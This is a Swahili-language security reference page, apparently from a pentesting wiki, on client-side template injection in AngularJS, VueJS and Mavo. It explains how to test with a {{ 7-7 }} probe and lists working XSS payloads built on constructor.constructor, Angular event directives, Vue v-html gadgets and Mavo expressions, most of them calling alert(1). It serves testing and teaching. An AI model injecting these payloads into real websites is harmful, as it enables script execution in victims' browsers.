# Client Side Template Injection (CSTI)

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## Summary

Ni kama [**Server Side Template Injection**](ssti-server-side-template-injection/index.html) lakini katika **mteja**. **SSTI** inaweza kukuruhusu **kutekeleza msimbo** kwenye seva ya mbali, **CSTI** inaweza kukuruhusu **kutekeleza msimbo wa JavaScript** wa kiholela katika kivinjari cha mwathirika.

**Kujaribu** kwa ajili ya udhaifu huu ni **kama** ilivyo katika kesi ya **SSTI**, mfasiri anatarajia **kigezo** na atakitekeleza. Kwa mfano, na mzigo kama `{{ 7-7 }}`, ikiwa programu ina **udhaifu** utaona `0`, na ikiwa sivyo, utaona asili: `{{ 7-7 }}`

## AngularJS

AngularJS ni mfumo wa JavaScript unaotumika sana ambao unawasiliana na HTML kupitia sifa zinazojulikana kama maagizo, moja maarufu ikiwa **`ng-app`**. Agizo hili linaruhusu AngularJS kushughulikia maudhui ya HTML, na kuwezesha utekelezaji wa maelekezo ya JavaScript ndani ya mabano mawili ya curly.

Katika hali ambapo pembejeo ya mtumiaji inaingizwa kwa nguvu katika mwili wa HTML ulio na alama ya `ng-app`, inawezekana kutekeleza msimbo wa JavaScript wa kiholela. Hapa chini kuna mifano inayoonyesha jinsi msimbo wa JavaScript unaweza kutekelezwa:
```javascript
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
```
Unaweza kupata mfano wa **msingi mtandaoni** wa udhaifu katika **AngularJS** katika [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) na katika [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)

> [!CAUTION] > [**Angular 1.6 iliondoa sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) hivyo kutoka toleo hili payload kama `{{constructor.constructor('alert(1)')()}}` au `<input ng-focus=$event.view.alert('XSS')>` inapaswa kufanya kazi.

## VueJS

Unaweza kupata utekelezaji wa **Vue** ulio na udhaifu katika [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
Payload inayofanya kazi: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](<https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%7D>)

Na **msimbo wa chanzo** wa mfano ulio na udhaifu hapa: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
```html
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
```
A really good post on CSTI in VUE can be found in [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)

### **V3**
```
{{_openBlock.constructor('alert(1)')()}}
```
Mwandiko: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)

### **V2**
```
{{constructor.constructor('alert(1)')()}}
```
Mshikamano: [Mario Heiderich](https://twitter.com/cure53berlin)

**Angalia zaidi VUE payloads katika** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)

## Mavo

Payload:
```
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
```
**Zaidi ya payloads katika** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)

## **Orodha ya Ugunduzi wa Brute-Force**

{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
{{#endref}}

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